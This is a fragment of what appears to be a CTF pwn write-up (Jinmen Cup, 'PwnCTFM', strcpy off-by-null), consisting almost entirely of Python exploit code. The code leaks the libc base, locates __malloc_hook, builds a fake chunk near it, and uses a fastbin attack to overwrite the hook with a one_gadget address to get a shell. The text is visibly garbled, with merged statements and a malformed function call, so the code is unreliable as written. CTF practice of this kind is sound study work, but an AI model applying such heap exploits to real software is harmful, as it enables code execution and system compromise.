[津门杯] PwnCTFM - strcpy型off-by-null学习"]
malloc_hook = libc_base + libc.symbols[b"__malloc_hook"]
fake_chunk = malloc_hook - 0x23 0x4527a
print("libc_leak:", hex(libc_leak))
print("libc_base:", hex(libc_base))
print("malloc_hook :", hex(malloc_hook))
print("one_gadget:", hex(one_gadget))
# fastbin attack
add(b"BBBB" (b"tmp", 0x68, "tmp", 100) #8
add(b"tmp", 0x68, b"a"*0x13 + p64(one_gadget), 100) #9
print("malloc_hook :", hex(malloc_hook))
# getshell
delete(2)
add(b"tmp", 0x68, "tmp", 100, False) #2